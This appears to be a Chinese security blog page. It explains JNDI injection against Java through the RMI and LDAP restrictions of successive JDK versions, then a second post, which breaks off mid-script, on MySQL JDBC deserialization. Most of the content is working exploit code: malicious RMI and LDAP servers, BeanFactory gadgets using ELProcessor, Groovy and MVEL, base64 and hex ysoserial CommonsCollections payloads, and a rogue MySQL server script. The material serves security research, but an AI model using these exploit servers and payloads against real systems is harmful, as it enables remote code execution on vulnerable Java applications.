在最新版的jdk8u上,jndi ldap的本地反序列化利用链 1 和 2 的方式仍然未失效,jndi rmi底层(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的时候,可以试试利用本地ClassPath里的反序列化利用链来达成RCE。但前提是需要利用一个本地的反序列化利用链(如CommonsCollections、EL表达式等)。

img

我们接下来按照java版本的演进分别分析JNDI注入的方法。

在实验前,要准备好不同版本的jdk方便测试。

img

6u45/7u21之前/JDK版本低于1.8.0_191

img

img

img

在这个版本之前,JNDI注入的利用条件是最宽松的,如果攻击者可以控制lookup()的返回内容,就可以很容易地把返回内容设置成一个远程Java对象下载地址,以此触发远程对象加载。

我们创建一个恶意的RMI服务器,并响应一个恶意的远程Java对象下载地址。编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7778);
Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE",wrapper);
}
}

我们创建了一个javax.naming.Reference的示例,把这个示例绑定到”/RCE“地址上,这个Export对象对目标服务器会从”http://127.0.0.1:8081/Calculator.class“这里获取字节码,从而触发1个RCE。

上面的代码在Java 8u121 Oracle添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击。

Java 8u121 Oracle添加的限制和Codebase机制有关。Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当RMI对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。

RMI客户端在 lookup() 的过程中,

  • 会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载
  • 然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象。远程Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

1
http://url:8080/com/project/test.class

但是,从Java 8u121 Oracle后,rmi的trustURLCodebase默认设置为false,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

Changelog:

img

具体被阻断在于步骤4,如下图。

img

虽然rmi远程类加载默认被禁用了,但是在8u191之前,ldap的trustURLCodebase还是默认为true的。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。

Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location(已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator";
int port = 1234;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

img

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

这导致JNDI远程类加载问题被修复。自此也就意味着远程codebase的Reference方式被限制死了。

之后攻击者利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高,要求系统中存在gadgetl类。

JAVA 8u191之后

1、找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令

JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类,这个类时用于从攻击者控制的Reference对象中提取真实的对象。

这个工厂类需要满足以下几个条件:

  • 真实对象要求必须存在目标系统的classpath
  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法

img

img

接下来的问题就是,我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能,

  • org.apache.naming.factory.BeanFactory 默认存在于Tomcat依赖包中,所以使用也是非常广泛
  • org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

配置jdk 8b192

org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射创建bean的代码。

img

这里利用BeanFactory工厂类加载ELProcessor类,

img

取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且填充了一个string类型的参数作为method的反射调用,最后通过method名和一个string的参数拿到eval函数。

img

img

这里使用的魔性属性时“forceString”, 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。

img

同时,Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。

img

img

img

ELProcessor_rmi_server.java服务端代码如下,服务端是攻击者控制的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")"));
//触发点在resourceRef的getObjectInstance()方法中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

BeanFactory 创建了一个任意bean类实例并执行了它所有的setter函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。基本上相当于一个任意类后门了。

除了el表达式之外还有groovy也可以,原理一样,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

maven配置好grovvy的包依赖,

img

img

img

2、从JNDI服务远程获取一个Java反序列化对象,利用反序列化Gadget完成命令执行

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。

其中具体的处理代码如下:

1
2
3
4
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}

img

我们假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload:

下载链接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

1
2
3
java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

LDAP Server关键代码如下,我们在javaSerializedData字段内填入刚刚生成的反序列化payload数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package jndi_rmi_injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;


public class ldap_javaSerializedData_server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
public OperationInterceptor () {
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
e.addAttribute("javaClassName", "Exploit");
try {
// java -jar ysoserial.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

模拟受害者进行JNDI lookup操作,或者使用Fastjson等漏洞模拟触发,即可看到弹计算器的命令被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws NamingException{
try{
String url = "ldap://localhost:1389/Exploit";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}catch (Exception e){
e.printStackTrace();
}
}
}

这种绕过方式需要利用一个本地的反序列化利用链,如CommonsCollections或者结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。

利用CLASSPATH不那么常见的类构造gadget

1、javax.management.loading.MLet 探测类是否存在

javax.management.loading.MLet这个类,通过其loadClass方法可以探测目标是否存在某个可利用类(例如java原生反序列化的gadget)

由于javax.management.loading.MLet继承自URLClassLoader,其addURL方法会访问远程服务器,而loadClass方法可以检测目标是否存在某个类,因此可以结合使用,检测某个类是否存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class MLet_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:8081/"));
ref.add(new StringRefAddr("c", "andrew_hann_class"));
//触发点在resourceRef的getObjectInstance()方法中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

img

上面出现404,则说明前面对ELProcessor类的加载成功了。当loadClass需要加载的类不存在时,则会直接报错,不进入远程类的访问,因此http端收不到GET请求。

2、org.mvel2.sh.ShellSession.exec()

1
2
3
4
5
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>

服务端代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class mvel2_rmi_server {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1098);
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"));
//触发点在resourceRef的getObjectInstance()方法中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

参考链接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html 
https://johnfrod.top/%E5%B7%A5%E5%85%B7/ysoserial-%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8%E8%B0%83%E8%AF%95%E6%95%99%E7%A8%8B/
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://zhuanlan.zhihu.com/p/471482692
https://chenlvtang.top/2021/09/15/JDK8u191-%E7%AD%89%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5/
https://koalr.me/posts/commonscollections-deserialization/
https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#contents:%E5%88%A9%E7%94%A8ldap%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE
https://y4er.com/posts/use-local-factory-bypass-jdk-to-jndi/
https://www.cnblogs.com/expl0it/p/13882169.html
https://blog.csdn.net/weixin_45682070/article/details/121888247
https://www.cnblogs.com/zpchcbd/p/14941783.html
https://y4er.com/posts/attack-java-jndi-rmi-ldap-2/
https://www.cnblogs.com/bitterz/p/15946406.html
https://tttang.com/archive/1405/
Read More
post @ 2024-01-13

原文:https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x00-%E5%89%8D%E8%A8%80

0x00 前言

HW期间遇到这个洞,研究研究。

参考:

0x01 MySQL JDBC反序列化漏洞

JDBC简介

JDBC(Java DataBase Connectivity)即Java数据库连接,是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法。

一般格式:

1
jdbc://driver://host:port/database?配置name1=配置Value1&配置name2=配置Value2

漏洞原理

如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。

具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。

可被利用的两条查询语句:

  • SHOW SESSION STATUS
  • SHOW COLLATION

漏洞复现

恶意MySQL服务器搭建可参考:

这里采用的是另一个脚本,使用Python3运行即可,只用Python自带的库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b